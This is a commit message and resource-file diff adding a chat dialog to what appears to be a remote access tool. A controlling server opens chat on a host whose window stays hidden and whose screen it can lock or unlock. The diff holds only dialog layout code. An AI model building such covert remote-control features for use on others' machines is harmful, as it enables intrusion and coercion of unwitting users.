Feature: Two-way remote chat (远程交谈)

Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro

client/Script.rc

@@ -31,6 +31,18 @@ FONT 10, "System", 0, 0, 0x0
 BEGIN
     LTEXT           "Static",IDC_EDIT_MESSAGE,5,5,170,95
 END
+IDD_CHAT DIALOGEX 0, 0, 235, 155
+STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
+CAPTION "Chat"
+FONT 10, "System", 0, 0, 0x0
+BEGIN
+    EDITTEXT        IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
+    EDITTEXT        IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
+    PUSHBUTTON      "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
+    PUSHBUTTON      "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
+END
+
+
 
 
 /////////////////////////////////////////////////////////////////////////////
@@ -44,6 +56,9 @@ BEGIN
     IDD_DIALOG, DIALOG
     BEGIN
     END
+    IDD_CHAT, DIALOG
+    BEGIN
+    END
 END
 #endif    // APSTUDIO_INVOKED